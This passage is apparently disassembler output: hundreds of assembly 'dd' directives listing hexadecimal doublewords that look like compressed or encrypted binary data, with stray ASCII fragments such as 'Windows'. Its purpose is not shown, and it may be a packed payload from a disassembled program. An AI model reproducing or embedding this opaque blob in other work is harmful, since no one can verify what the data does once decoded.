		dd 0FC5B40DAh, 82536396h, 0D9D20B01h, 3D51087Dh, 0DED7E53Dh
		dd 7F921ED4h, 140B2587h, 3BA645ACh, 59445E22h, 3A1BA1CEh
		dd 7450F687h, 0A46B316h, 4668ED25h, 8B040196h, 6AE3EB36h
		dd 0A51FD102h, 0C7CDE08Ah, 1764950Fh, 60256446h, 0D6B4DF4Ch
		dd 2E53EB43h, 2D595637h, 66808840h, 4BA30853h, 24898188h
		dd 3E440446h, 929883Bh,	115EA17Dh, 78A12854h, 53068939h
		dd 13944280h, 6EB4F8DDh, 0DD2AE196h, 41656D2Bh,	0A1642AD2h
		dd 0E81567FDh, 2ADFB66Eh, 0C5605972h, 0E843627Ah, 26DA0264h
		dd 364630D8h, 3B05526Ah, 0C0375624h, 8A0D7848h,	80300C0Fh
		dd 2C625BF9h, 2AAC2E0Ah, 30F1E79h, 1638DAC6h, 0C3206461h
		dd 0C16F7F78h, 86B38C6Ch, 0B90370D4h, 16A8981Eh, 1B9F0497h
		dd 970AEE1Ah, 7C8B07B0h, 5120AD83h, 1603F883h, 22EC8C0Fh
		dd 0A268F6ECh, 329D3B74h, 145DC546h, 2CC81024h,	0B8A1BE3h
		dd 0AE74681Fh, 2FEF2349h, 7750A31h, 6B77B623h, 0DF2637C5h
		dd 6C423E14h, 0CCAC2623h, 0E5EB4606h, 6C8B0337h, 0DB331824h
		dd 5C89421Ah, 3C4D41F8h, 0A829C147h, 14595A77h,	0EEEB110Eh
		dd 0D45E989Ah, 50432BD0h, 998A3D59h, 759031ECh,	88EDB1BCh
		dd 0BC543085h, 76A28126h, 2B2438F9h, 0E09D5526h, 4E784BD8h
		dd 0CC2B7DCAh, 0C4BFED79h, 89299DD7h, 0D9758A62h, 7B866824h
		dd 146572FCh, 2BBCB564h, 0EC8EAF0Bh, 538BD6D9h,	467FC681h
		dd 52094358h, 6C444ACh,	8A138F87h, 28C83DD4h, 3D801B50h
		dd 9EC82B7Ch, 5F5C0537h, 0CEC80F88h, 414359E2h,	0B348BB19h
		dd 0B21D528Bh, 98D3B940h, 784E157Bh, 2E2E914Dh,	0B8D339BDh
		dd 78AEAC2h, 0EDD2B7B8h, 7D7408Eh, 47BF78A7h, 0B5EDB014h
		dd 0B48F3FB2h, 0D52E20D0h, 7C1FE6B5h, 347D5C0Ah, 5A43E826h
		dd 0D9582949h, 520C24ACh, 8E459CC6h, 0D8A33A89h, 0D4ACBCAEh
		dd 764380Bh, 7537A28h, 0E03980E8h, 5FF0675h, 54CD15A3h
		dd 382C1120h, 0C0C1D60h, 5D92E675h, 182D3928h, 144F88A1h
		dd 8B18CA08h, 0F77A326Ah, 5B5D484h, 52208575h, 3F8A177Eh
		dd 0B34D074Ch, 5B0C7413h, 43C4B2BDh, 64E2EB48h,	5023163Ch
		dd 8B5B6033h, 0A00D2BCDh, 0A0C1032Eh, 31A302B1h, 8CB1EEE0h
		dd 0ED1C1604h, 0B2FB8FE4h, 0E0BD192Bh, 0D7BB28EDh, 9E55472Ch
		dd 0F899E805h, 0BD7A2DF2h, 59025925h, 0C2C85E67h, 0BF021811h
		dd 1A085525h, 32AEE406h, 62A5042Ah, 289B9648h, 0A357B880h
		dd 4312AEA5h, 0E9E40DDFh, 6C614981h, 28D7CE1Ch,	0A1730D8Ah
		dd 423211Dh, 0A3B3645h,	6CA20AFh, 0A0B7C30h, 1D7F3924h
		dd 0E1888AE1h, 75368C17h, 1024E555h, 0A1C88B99h, 0C06B1AA0h
		dd 2482644Fh, 9416A853h, 97E0C41h, 0D403DD5h, 0A618EB32h
		dd 7C0629BFh, 0EB3C8511h, 46092107h, 2913737Ch,	0B42A800Ah
		dd 0C58B0212h, 0FCAB335h, 5A995327h, 3A7330DBh,	0A74C316h
		dd 2C3D505Eh, 0EB051846h, 158880F2h, 4F659C9Dh,	1C2C1CD5h
		dd 5076A468h, 0B3B93D84h, 81464706h, 5945C20Ah,	0A842DE7Ch
		dd 9C88E430h, 8B001AAAh, 0A8341D39h, 9B0A22D6h,	842C07B8h
		dd 0B830FF0Bh, 4D24E8E6h, 3BC07CEBh, 8B04C783h,	1F7939E6h
		dd 306EE368h, 8EA7E808h, 0E2FDB82Fh, 0F484F043h, 830F70EAh
		dd 399983C6h, 9EB001Eh,	0C964516Ah, 6FB8D614h, 10CE32A4h
		dd 1729591Ah, 118612DBh, 2028B4CBh, 16B88FD0h, 0E8EAD35h
		dd 0D5814746h, 0A8DA89B8h, 1522B3DEh, 50ACED83h, 0C4A83887h
		dd 0F1B87727h, 0FE45750Ah, 896C8092h, 0DF6720F7h, 0A28A4DD0h
		dd 3ADB47E0h, 0B2A0329h, 0A6689068h, 0EA4C92E8h, 2231D053h
		dd 5E829DAEh, 19A28868h, 6C7CEB27h, 0E84258C8h,	1029A415h
		dd 1C45FA5Ch, 42868447h, 6B74814Bh, 1A4C056Ah, 21AA42CCh
		dd 2C516431h, 1734A97Ch, 0CE37280Bh, 85A92424h,	0CE1B0E6Dh
		dd 0E99FE809h, 0B145539h, 4E942049h, 53FFE2D3h,	0CC082C53h
		dd 5D453962h, 0F9FC0984h, 0E38E1C32h, 4AFD9E20h, 0FC9667h
		dd 8D403BBFh, 894C0177h, 0B8BD4040h, 4FB1F08Ah,	3B108211h
		dd 30F1A0C3h, 0F2E2B013h, 0E3EB4F03h, 310C75F8h, 42C107Dh
		dd 46155C1Eh, 8A8E5382h, 911CFE3Bh, 7502801Fh, 3AEB4703h
		dd 0E768DECh, 6B7DC63Bh, 66AAC09Bh, 52F728B9h, 343B335Ah
		dd 38A4E53h, 427EF029h,	80FCC23Ah, 83F72B3Dh, 5A7C07FEh
		dd 0AF431036h, 1F305258h, 118A1283h, 594881Fh, 4012EFEAh
		dd 0DB203D41h, 5580EA72h, 0D32C10A4h, 452F0741h, 0F5F7E756h
		dd 293968EAh, 0DDA6E33Bh, 0AC076A27h, 9FF82404h, 0C705A66h
		dd 41150140h, 73EE6808h, 7B4B4695h, 0E706D303h,	4F8D4F55h
		dd 0AD68DCA7h, 0FC8AB484h, 56AB4419h, 1C085712h, 4D8D8950h
		dd 0BB512C01h, 0EB6F35FDh, 0EEB6F4DBh, 2CBF537Dh, 82F8061Dh
		dd 0F44CE47Ch, 6F742CC6h, 883DC53Eh, 6228734Dh,	0A98A8801h
		dd 92542C09h, 13F178BCh, 0A8A5405Fh, 284B586Ah,	0C515EB68h
		dd 5AC5595Ah, 491849F8h, 975ECA6h, 70368148h, 1704B038h
		dd 2D851C77h, 420CF3A5h, 4512B553h, 0E6506F0Bh,	3B0C9751h
		dd 255FB223h, 0C6115B6Ch, 8D686D5Eh, 1162450Ch,	0F6073E48h
		dd 0D4157E57h, 0F07487D6h, 1430898Ah, 28FA7B9h,	4A179E88h
		dd 5084DC14h, 0CCD4898Dh, 0DBA12E2Bh, 15301D41h, 2EDB8501h
		dd 31AA2484h, 8238BE70h, 7FDF3B21h, 2D5BDC6Eh, 53C31B82h
		dd 0C1031A48h, 0FC76FCC1h, 6ECA5CE8h, 51753F98h, 1A3E36A6h
		dd 0AC78D7F4h, 30434C2h, 0A0CC82C7h, 2BDD106h, 2D741E3Bh
		dd 8B0AF445h, 2231EA55h
		dd 4D4CA03h, 5F16DE17h,	0DDF89E2Bh, 85D74506h, 8AF2C0D2h
		dd 18488819h, 0A74A2DD4h, 283CF809h, 800490C3h,	98085EB7h
		dd 881053C9h, 0BF817515h, 24594726h, 0A25F16ACh, 9DC581Fh
		dd 2372480h, 44F344C4h,	0F2FC7D2Dh, 670695ACh, 59711203h
		dd 0CAB5B498h, 79B255E4h, 6444EE46h, 0A72F55E8h, 929ACA3Ah
		dd 2AE8B1E4h, 75A405F6h, 0D8849DC0h, 94CFA806h,	92D822B6h
		dd 98682737h, 145F44EEh, 227BBB99h, 6AD67C20h, 82144271h
		dd 14FEBF13h, 8BE871A7h, 1DDA6850h, 80D9548Ah, 1B46FF91h
		dd 21AE9411h, 4AE464DBh, 8383598Bh, 913C10E0h, 0F1214C75h
		dd 96089919h, 0D88B8860h, 52FC3AA6h, 44061DDFh,	53140A03h
		dd 53991896h, 73202C57h, 9CB5E85Bh, 0CA200C94h,	0E924C481h
		dd 0D744A8Bh, 0DE525E8h, 560F226Eh, 0BB0C1EA0h,	0C5CA74ACh
		dd 0D5891333h, 0EE437AE4h, 2793AE48h, 0E3700D74h, 0E0FB813Ch
		dd 0EBDD7C43h, 2387A448h, 0CB4704D9h, 80264E8h,	0A14E760Fh
		dd 0A52076C8h, 8E2233C8h, 3D596324h, 7802F859h,	0A1921455h
		dd 0AB201243h, 5BFE44C7h, 0E8285792h, 23892A64h, 75B41574h
		dd 0E1DB8A70h, 24020888h, 4BE09C1h, 0F8088479h,	0E7583EFDh
		dd 3A69368Dh, 39FC260Bh, 1FA727F6h, 1112DB62h, 8491E6DCh
		dd 0E9D8A14h, 44FD2864h, 8195A068h, 26428DB6h, 9BDA6A66h
		dd 0DC6592Ah, 2C38432Ah, 1C307429h, 0F18052B2h,	0E4E3AD02h
		dd 197506A8h, 0A74533ACh, 0A041C12Bh, 8A49321Fh, 808A19FEh
		dd 5A0506BDh, 7994B97Ch, 0AC4134ABh, 2E885F7h, 0C718E589h
		dd 8D014468h, 0F67FC4BDh, 0A9CA9F44h, 673859DCh, 0E414E829h
		dd 28D83FB4h, 83153C68h, 141D5494h, 56DB6433h, 24534CD8h
		dd 0E6034E4Ch, 68F83E48h, 2C4D41BCh, 0F8FC4E05h, 4CA18670h
		dd 0AADD3BD9h, 53763517h, 7526E9A1h, 91220429h,	0C1144B7h
		dd 27ED088Ah, 0A2118624h, 901A562Dh, 34573A11h,	0BC1880F3h
		dd 2F17D705h, 4E115375h, 84C62662h, 115D5C19h, 185C240Ch
		dd 798C3D8Bh, 19A40E74h, 0C3386829h, 0E81D942Ch, 0C8A3E293h
		dd 6660827h, 96FED821h,	8D5363A4h, 0E8469A44h, 7FE3EF24h
		dd 943B1EA1h, 903B3068h, 5BE9930Fh, 0A37988C9h,	9745D9A5h
		dd 56DF056Ch, 30C4E057h, 2E591140h, 25A8F633h, 3056F569h
		dd 1757804h, 0FF0831D8h, 4B2090D3h, 5FF0B30Ch, 319BB439h
		dd 2F142674h, 8C25501Ch, 4B10168Bh, 50AFB75Fh, 30B4CC97h
		dd 6C405452h, 8015D744h, 21DA307Ch, 0D408941Dh,	18196FDAh
		dd 1552B12Fh, 45AB44C6h, 0C8503F8Bh, 4A87DDF9h,	0C4F3E14Dh
		dd 1E346206h, 0E306E813h, 92E611C9h, 244F7432h,	0C8F4E807h
		dd 0A5F4680Eh, 88112A5Bh, 802F2243h, 15342DC4h,	15F22590h
		dd 46B18C8h, 0C2E257E4h, 0F406C27Fh, 66EABFh, 46D83FF1h
		dd 0F809C5FCh, 0F675D36Ah, 21E15578h, 92F17C8Fh, 0B50402F4h
		dd 0FF531084h, 72FC4620h, 129C3Eh, 8318708Dh, 75E0EC7Eh
		dd 36FF290Ah, 8D659CE8h, 681420EFh, 149FAF5Ch, 81128498h
		dd 12DACEC5h, 28185D70h, 767C3B43h, 264D9AC8h, 8CE0E1E8h
		dd 84AE7D39h, 831C9DA5h, 56842C93h, 0F0759904h,	0F42012E2h
		dd 0E0604AC6h, 0EB2EEA72h, 0D13F1F23h, 4E52052Dh, 22E5A34Fh
		dd 0D4DF97ECh, 9C227528h, 9CA0B384h, 4E489D68h,	2FE8D2B0h
		dd 210FF828h, 0F44416D3h, 0A1E6A05h, 0C41024CEh, 66EC13F0h
		dd 301768C2h, 90131493h, 0E31116Ch, 0FE65D445h,	532AD0FEh
		dd 0EB130D09h, 0FE1385F1h, 110180Eh, 0BC25FFCCh, 0D00CDBB2h
		dd 0DC0CD419h, 14BCC89h, 2D3D511Ch, 6095A052h, 28147263h
		dd 500CE981h, 5485052Dh, 6731801h, 8BC82BECh, 0E1E81AC4h
		dd 40F008ECh, 0C3500419h, 0F80CB4A9h, 55FC4586h, 687C0207h
		dd 9EA215C0h, 640454E0h, 4D4755E5h, 89258972h, 2DD85E08h
		dd 6584D00Fh, 10FC13E8h, 3C2EF44Eh, 70835988h, 81EF6C0Dh
		dd 0B284040Eh, 8B2BCFA6h, 96E2FCAAh, 0E0074889h, 18F81CB2h
		dd 1BA24CA1h, 0EF28428Fh, 391FA1ADh, 0AD25901Dh, 0CEA3833Ah
		dd 4858DB65h, 0E2E84F06h, 0C6815D7h, 8378360h, 0C95AFB0Bh
		dd 40F4A128h, 8D94451Ah, 1140F406h, 0E0A24BF0h,	990647Eh
		dd 40EC92A0h, 8E046822h, 9A881033h, 0A15002A5h,	307C84B8h
		dd 808CC880h, 3522753Eh, 0E213463Ah, 3C04193Ah,	1347F21Ch
		dd 76207898h, 0D0D5F250h, 99A49EC8h, 0EBF67194h, 117401E8h
		dd 87A0F790h, 58D90EEBh, 2C47D83Ch, 0A6AF5B0h, 71C09058h
		dd 48C69553h, 0FDD004B7h, 983C9810h, 4866B3CBh,	5BEC2495h
		dd 4D890980h, 2D515088h, 24110FE8h, 2F42FEC3h, 91886E41h
		dd 64503440h, 4406A938h, 3B3F014h, 0D07805A2h, 512A1B52h
		dd 0CCA2CFEAh, 54CA019Eh, 50953058h, 90AC2106h,	647CC8A8h
		dd 19883280h, 869C0C90h, 0A421A043h, 64C86090h,	0A0B6h
		dd 778C01ADh, 250862h, 685F5C66h, 6B722E63h, 5189CE5h
		dd 10030B06h, 9486431h,	16D0467Fh, 1288104h, 79040456h
		dd 5238A4A0h, 462107C0h, 885D0400h, 71CEB8Ah, 0E89F11C9h
		dd 102B0008h, 2706048h,	318448A3h, 0E50206A8h, 408A9027h
		dd 4331041Bh, 704312h, 0FD582432h, 496445CCh, 0DD70B000h
		dd 962C74AEh, 5E6015D2h, 70CD1C0Dh, 7C480319h, 101045h
		dd 0F196804Ch, 4D072AE2h, 6AA611CEh, 6EAF2000h,	0CF43772h
		dd 5241F129h, 0D345842h, 0BAADF014h, 0F4A80D08h, 0E0A2420Bh
		dd 454D0604h, 2904574Fh, 0C5B8A257h, 0C82E0338h, 74B5F02Ah
		dd 2811A4E8h, 67CC1001h, 0AC803CCh, 14184844h, 98D068D8h
		dd 114078Eh, 2838C4A8h,	29641BCDh, 20328508h, 5674B6B9h
		dd 0A5C810ABh, 231FA6F9h, 7CADE4A4h, 74A08FAAh,	58096064h
		dd 40919048h, 0EC842022h, 0A4C43048h, 2050D872h, 2088B64Fh
		dd 1003FF6Eh, 8960D1BBh, 66041948h, 5609EE20h, 10CAA402h
		dd 818722Ch, 0C531978h,	0A01C48B4h, 7298D870h, 0D24F0093h
		dd 0BE3DA911h, 21CEB257h, 58310A32h, 0E88F80E4h, 18830143h
		dd 22841443h, 94049A60h, 0C8C047F8h, 304D5E3Bh,	0C581C0DCh
		dd 0E800317h, 994AE90Eh, 508AF120h, 852B7A6Fh, 1E52E402h
		dd 783C81E8h, 18506EC1h, 0AE0DDAD8h, 2F201524h,	3CA0C0Ch
		dd 0E2245B08h, 0BDDB2858h, 4D2E8032h, 4E686448h, 0A41E120Eh
		dd 150B8B0Eh, 186A190h,	5C34084Ah, 4E584E04h, 0A308420Ah
		dd 0C104C80Ch, 8518759Fh, 7FFDE0A8h, 190040Ah, 19EBD075h
		dd 0C9315E01h, 0FF89E981h, 80366007h, 947C32BFh, 19FCEE30h
		dd 3AEBF2E2h, 13E0E805h, 1F065303h, 7557740Ch, 0BB3695h
		dd 5A897F92h, 0DEB1CE1Ah, 0BEE17C18h, 0F9094Eh,	0D7B66B3Ah
		dd 71854D9Fh, 81C6DA19h, 0B3D41D6Eh, 0ECF8335Ah, 8DB8FC10h
		dd 0E800F01Ch, 0DFA641C8h, 0CC2CDEBh, 90743688h, 7E04E669h
		dd 0AD7C240Ch, 0DD202232h, 21DF605Ah, 0AB808ADAh, 0D784E2CDh
		dd 7C793AF9h, 109ADA95h, 0EB00A721h, 0DA12759Dh, 2180426Ah
		dd 8E9600A3h, 7ADA78F0h, 29F4386h, 0DA56AE39h, 99B194Ah
		dd 0F606A282h, 10A45ADAh, 0EDD52097h, 43DAF246h, 1930E2Ah
		dd 0A253456Bh, 0FC66BC42h, 7F80A081h, 0EC42AE9h, 0D462EFD0h
		dd 6B80FF8Eh, 4CB9A3D6h, 5AE8D700h, 0A1408096h,	1ED5F21Fh
		dd 2D3C524h, 0ECD7B464h, 0E8A4B480h, 50C3C763h,	0EB501F1Ah
		dd 0BFE5F057h, 0EDF7005Ah, 0E61D1CDBh, 7800B18Fh, 0B00E32D4h
		dd 17FB3h, 277E035Dh
		dd 0F442623Fh, 0AFA4D000h, 9BC46A76h, 0D41D3A0Fh, 7E097A32h
		dd 196223h, 0D0C02220h,	0EAC563EEh, 7F08BE61h, 0E90102C9h
		dd 0CDB98422h, 9801B16Bh, 9865770Bh, 94C093E8h,	28F0F8EAh
		dd 18C8F21h, 0ECF23A80h, 8772348Ch, 392ECF30h, 0CD9D747h
		dd 0F8A01827h, 308A6017h, 0DE51B9BFh, 90F0E21Eh, 0C267EC00h
		dd 3A5E34D7h, 770398B0h, 37EB0BA8h, 0B96A83F0h,	6818DE63h
		dd 0D162C0B4h, 90C978A6h, 0A04AF094h, 8C7CDCh, 7BBA38F2h
		dd 70419346h, 78973F00h, 0FCAFC054h, 0E126199Bh, 7B04861h
		dd 0F48C1FD0h, 9CCE0FB9h, 8400EFBCh, 6B513134h,	5401BD00h
		dd 0CA6D6A0Bh, 0B1E461DDh, 3404A22Fh, 24E043CEh, 27310DCBh
		dd 340733FAh, 36063507h, 0E9028D18h, 7644087h, 8F63056Fh
		dd 58202C38h, 88302D64h, 2E00C2Ah, 288DB8B3h, 53E2188Ch
		dd 10EBC0C0h, 33004B5Bh, 25B966C9h, 9348001h, 0FAE2990Bh
		dd 1F715CAEh, 2306270h,	6138FDC6h, 0D9120FA9h, 85E9CC95h
		dd 0F13D3477h, 0F36E0191h, 271C09Dh, 607B298Fh,	0D1ABAAC5h
		dd 0D8EAEE2Ch, 660ACDC6h, 1971128Fh, 18C11B10h,	8E980975h
		dd 0B8F1CD10h, 33CF660Dh, 0D903C989h, 8D160560h, 67F14112h
		dd 579828E6h, 4B9D539Bh, 89F355E0h, 2ACAC830h, 591C81h
		dd 0FAF1D3ECh, 1099FDF4h, 1AA9FF00h, 0A514CD75h, 8CF300BDh
		dd 647B32C0h, 89F2DD5Fh, 0AC367E6h, 0CBC510A4h,	0D50922D1h
		dd 2B14C933h, 18C8B3CDh, 898F302h, 0A940EF66h, 959D6FCFh
		dd 33A8D05Eh, 1E859D91h, 87C89506h, 30A5DC12h, 9AE1B1CDh
		dd 1DCB4C3Dh, 6C80B9EBh, 0D8D050AAh, 0EE5CFA34h, 27960042h
		dd 0ED4FA389h, 523F5891h, 0D9430094h, 86A26872h, 0C37E1CECh
		dd 4EBD9F12h, 95C6FF44h, 854112D2h, 529C60FBh, 5AC0C732h
		dd 80BB7151h, 97D71702h, 167EB75h, 40348F2Ah, 0C876579Ch
		dd 520FF979h, 67A26574h, 75F16C90h, 7EF03360h, 935F72E0h
		dd 4A5A0840h, 0A487D44h, 0FE529579h, 3B404FC3h,	0EAF841C0h
		dd 87ED9BA0h, 0E7F96A81h, 0F0629A43h, 0FAA8DD7h, 0C8CECF74h
		dd 6B19A6ACh, 0C097F305h, 9F1D3F6Ah, 5E1AC640h,	617BDC9Dh
		dd 12C71070h, 40DFC954h, 78485A9Fh, 0C5A258E8h,	0FA80A50Dh
		dd 0FFDEA48Fh, 0C61E9B37h, 63FC1299h, 1A1E9090h, 49CF975Fh
		dd 7C0892F3h, 941AB01Eh, 6614CFCBh, 0CD565CEh, 269CF341h
		dd 7E928AEDh, 9BCC2C8Fh, 2AC4752Ch, 7A889E5Eh, 10591DAAh
		dd 107DA4DEh, 696C73CEh, 0D96D0D36h, 0A8610D46h, 0DD757F90h
		dd 383EB0FBh, 1D9D10C0h, 4C627B17h, 0A506A1CFh,	12FFD980h
		dd 4B5DF5Eh, 87DE14CEh,	2B87FACCh, 925E9F7Dh, 2AB526A5h
		dd 8D8F21EFh, 0EFCB797Ah, 0CC7D8BBAh, 35847D08h, 6028D592h
		dd 24C48CC8h, 0CC93C34Bh, 51245077h, 0DE674076h, 0C9EDFC00h
		dd 0D8FAF6EBh, 0D3DBE3FDh, 0DA9989EAh, 0EDF80C8Fh, 1D671234h
		dd 0E1DCF1D8h, 3763FAF0h, 0D5AE2963h, 0FC0A74F6h, 0F3EFF9FBh
		dd 643048E0h, 0B16D5092h, 549BE57Bh, 240C86F2h,	48F7F0FBh
		dd 0DEEAEAF5h, 0F8193E7Ah, 47E97CFAh, 0F6EF6FEBh, 202F8CFAh
		dd 85DB7093h, 4D1353FFh, 21897242h, 622DC8E5h, 52FEFFB1h
		dd 1BC06207h, 20004350h, 5754454Eh, 0F14B524Fh,	4767A7EFh
		dd 0C04D4173h, 0CF302E31h, 4E2F4C30h, 0B20065Ah, 646E6957h
		dd 73776F07h, 72576620h, 6B08984Fh, 75F8EF67h, 331EC170h
		dd 9861312Eh, 32484D51h, 0E9307158h, 6FF73359h,	5426162Eh
		dd 30E63220h, 71A916DFh, 888CA494h, 2F076473h, 0C3B1038h
		dd 40248EEh, 43730A11h,	0D44006A2h, 0D9697080h,	0C553989Ah
		dd 4BB6350h, 0E0088297h, 57A330E2h, 6E5C4A86h, 0D77CE06h
		dd 0EA957773h, 0A410230h, 82398D03h, 0B324B735h, 0CA872E3Ch
		dd 5EDA714Fh, 2008C4ACh, 421EDA22h, 599FC857h, 8A573D03h
		dd 47652446h, 1E400832h, 0DE50670h, 202AFD07h, 888A1581h
		dd 4FC148E0h, 810044C1h, 7A006A19h, 1C49E4F2h, 530AF28h
		dd 67107425h, 0B2E22F53h, 75E0915Ch, 454D91Ah, 445CE043h
		dd 9E31BE10h, 1B626860h, 10388932h, 0BE382136h,	0CE307854h
		dd 50094939h, 2C8B244h,	0CA114E3Fh, 0A2106464h,	0DC2008E8h
		dd 18F78104h, 67DEC89Ch, 3116DE85h, 69019F17h, 5303B272h
		dd 984017B4h, 11520374h, 0DA6C2A8Ch, 0D4907590h, 63527070h
		dd 6C9C8A2Bh, 2AD2511h,	0D3F910A0h, 1CA77DB8h, 0A629541Bh
		dd 0C92666B7h, 0B8CA4659h, 4566CC50h, 0DB02D7CDh, 7D01220Ch
		dd 2D04DCB8h, 0CC0B894h, 3919286Ah, 0D0B1070Ch,	0A89B11h
		dd 2ED94FC0h, 0C8FF54Ah, 0C8501D0h, 21A47EF4h, 0CA00860h
		dd 0A428D05Ch, 2FD4B1A3h, 0A0238670h, 0C888160Ch, 0ECE00977h
		dd 8C875B6h, 401495C1h,	7C195023h, 79011070h, 83FE480h
		dd 1437899Ah, 138578E1h, 295BABC0h, 90EE9A6h, 1411F810h
		dd 0FFC40E2Fh, 660E22FEh, 0AF339924h, 208AB27h,	80D10B8h
		dd 0B93E4436h, 0B705EE1Bh, 642F2568h, 4C200C42h, 0DAD2300h
		dd 2310823h, 8026D80Fh,	20118E1h, 0F841070h, 4A28CD85h
		dd 3C953580h, 221802Fh,	0C70F8408h, 1C8886Ch, 45A89AC2h
		dd 89D15C70h, 146BF14h,	40C0280Bh, 88000E4h, 3EDC139Dh
		dd 0F0E04D65h, 1525123Ch, 511D6F75h, 2F09146h, 0DC1C23EBh
		dd 642503C2h, 0CE03B22Eh, 0AF8BE2E7h, 78650218h, 0D1527469h
		dd 406EB35h, 25C425C9h,	2E69E873h, 40DA6370h, 1CEC8166h
		dd 0E4FF0717h, 3652F41Ch, 9D72F488h, 35313801h,	4C0C5630h
		dd 2C7C2065h, 24110369h, 7B387465h, 0B0757186h,	30320880h
		dd 701430A4h, 8810726Fh, 7361E333h, 28FE278Ch, 0F5756731h
		dd 0D8385A65h, 0FA4C2011h, 912CB441h, 0EC100C09h, 0EEC82271h
		dd 616A1D62h, 876E1F79h, 31682D66h, 0E7782E31h,	0DC7C63C3h
		dd 79FC6CEEh, 0FCF76FF4h, 7A686270h, 1D5224F1h,	9120A321h
		dd 8F32FC34h, 68722DE1h, 5283845Ah, 72F9636Bh, 0A44467h
		dd 3732310Ch, 5DE302Eh,	32100912h, 2B7784D9h, 0FB5C3C88h
		dd 7266FD48h, 7267076Ch, 0E032337Ah, 69766571h,	6A338FDEh
		dd 6275E170h, 41752AB0h, 790F5069h, 9D456376h, 624651F0h
		dd 6A671273h, 5C20016Eh, 0DB70765Ah, 4F1D3E6Fh,	8A614A4Ah
		dd 685064B0h, 0CC30DE65h, 767D4967h, 45FE6278h,	5C85F3FFh
		dd 6799D60h, 0B66D6574h, 63686988h, 0E9243BE5h,	0A70600C9h
		dd 95988492h, 62617EA0h, 70D06463h, 6A6903A9h, 0C6D6C6Bh
		dd 72717032h, 760A756Ah, 0C6797877h, 43424180h,	464544h
		dd 4A494847h, 4E4D4C4Bh, 51504F00h, 55545352h, 58570D56h
		dd 0DF385A59h, 94E0E26Eh, 65433ADh, 12EA6650h, 713F1E70h
		dd 0C86E3E46h, 996A8AC1h, 2E376139h, 0E1C67971h, 0AB436E3Fh
		dd 80A8770h, 28013B44h,	63297461h, 0E403798h, 20CEA73Bh
		dd 0FFE86689h, 0BBF979E6h, 0CFE37CFh, 0D5A867ABh, 6C48472Dh
		dd 203A0E5Dh, 4E10B26Eh, 0E0BC68F8h, 2D6B2F81h,	8222667Ah
		dd 7E203B87h, 3D7281BFh, 0CC662522h, 33AE0A0Dh,	946E653Ch
		dd 799E7366h, 8D90527Dh, 748A7150h, 5F180D0h, 34367266h
		dd 48512328h, 0E77BB476h, 0BB508DD6h, 70B881DEh, 31B07A75h
		dd 7976739Eh, 72534BF1h, 51878899h, 0A2A474Eh, 59555201h
		dd 0EEA02042h, 0A122E988h, 5A001C42h, 2059564Eh, 42784553h
		dd 663C90CCh, 0F015AB3Eh, 0FD474350h, 124B42C9h, 2E0E026Ch
		dd 2B130AAAh, 43833073h
		dd 46010944h, 52574F48h, 0E9BFE50h, 0AD984812h,	994120Ch
		dd 12888990h, 45522284h, 8772C6A4h, 2BDC3EABh, 0E5EFF01h
		dd 0A2E6948h, 9EFE1C96h, 0CC731C20h, 610E6874h,	0EDED63F6h
		dd 77109D76h, 32231C76h, 6E35736Fh, 6D17A656h, 0F93EEF1Eh
		dd 7BA72C5Ch, 73487560h, 0F464656Bh, 748DE96Dh,	0EB106E41h
		dd 74272E1Fh, 656747B1h, 6E4068DFh, 0FD7A394Ah,	6C672C87h
		dd 0E63F679h, 5E69662Eh, 61EA783Eh, 2C321FCh, 0E353090Ah
		dd 0CD4CD679h, 0F57A6E9Ch, 6FF7D350h, 5B3F446Ah, 5D64306Fh
		dd 293BE4F1h, 0ADFB0076h, 7639030h, 45434E55h, 9A78772Eh
		dd 46E47764h, 3859E5ECh, 0FD01AF70h, 4E6948F0h,	64DA412Ch
		dd 0E86C7261h, 3AF6676Eh, 4C0A290Eh, 1F6B2F6Fh,	6EF010E7h
		dd 4A777A65h, 7FE9C773h, 76618F3Dh, 5F2E1F9Eh, 6F68C749h
		dd 69E4F970h, 6C69771Ch, 6A32677Fh, 22EACBFh, 5909350Ah
		dd 4C498026h, 61477A69h, 0E41FCBBh, 6E616C74h, 64E74989h
		dd 1D64B1F4h, 656B094Dh, 0F9FD64EFh, 3A022F4Dh,	5E656972h
		dd 0C4671390h, 4B9DB847h, 89B8BD84h, 2E63717Ch,	367C756Fh
		dd 0FB5342Ah, 4A3A1FCCh, 683C72E2h, 3A701CFAh, 277592Fh
		dd 9AE8E22Eh, 0A0B86F79h, 6D5093F3h, 71777BC3h,	73E0F91Eh
		dd 493AEF68h, 6D17412h,	0C38A29A7h, 0EDBDECB4h,	656C7004h
		dd 7913E861h, 0CFFB6F7Eh, 0C4DD3E77h, 7562EA71h, 0C32D89EAh
		dd 3127EBBAh, 762270E4h, 9C1C0661h, 2D7FDF64h, 845D9EE2h
		dd 65F3335Ah, 6F471CEFh, 383A026Eh, 0A613DF66h,	0A2FB649Fh
		dd 1A65E47h, 20217374h,	4E057649h, 729E1927h, 9E62A3F0h
		dd 0E728B414h, 389E7D6Eh, 0BC875C69h, 0FE5CA1CAh, 0D66D1B87h
		dd 4CDF5069h, 7C387694h, 4E4A685Ch, 0DE3D715Dh,	696F7B9Dh
		dd 5A6CFF77h, 0F9727EABh, 5AE43A44h, 63D5C359h,	834E6E61h
		dd 0C179D85Eh, 98E742ADh, 92DB43A0h, 4954132Ah,	6D3AA366h
		dd 0CDCB4A5Ah, 53FF9A1Eh, 0EE2C89A3h, 1256DBBFh, 0C1C7305Bh
		dd 0DFC9B51Bh, 6D656460h, 0C59F976Fh, 0F5034AD3h, 1BFC290h
		dd 0C8F269FDh, 63274E74h, 6ECA046Bh, 1B38EBE1h,	47B79E2h
		dd 3BBC6616h, 0AF00244Eh, 3C499E36h, 0A74B676Eh, 535EDC99h
		dd 8EDE326Ah, 76D6745Fh, 0B8BB16A7h, 24655E72h,	4267E2A3h
		dd 8BFBBB01h, 195C767Ch, 12680974h, 4854245Ch, 2244914Ch
		dd 2C34443Ch, 1C122489h, 10481424h, 88700891h, 0F481ACFCh
		dd 0E824F012h, 0D891E048h, 0D044D422h, 12C089C8h, 48B424BCh
		dd 0A4C4BFB0h, 94129C89h, 84488C24h, 0C8287C94h, 226C9174h
		dd 58604468h, 48125089h, 3822D12Fh, 89283044h, 24181220h
		dd 91084810h, 0ABFC1004h, 0EC09F432h, 0DC48E424h, 0CC22D491h
		dd 89BCC444h, 24AC12B4h, 919848A0h, 45882290h, 99184D80h
		dd 68097011h, 5C246012h, 50915448h, 12FD4822h, 48302438h
		dd 22209128h, 8104418h,	0F444848Bh, 91EC08AAh, 44DC22E4h
		dd 0C489CCD4h, 0B424C012h, 0A091A848h, 0CC940140h, 84098C11h
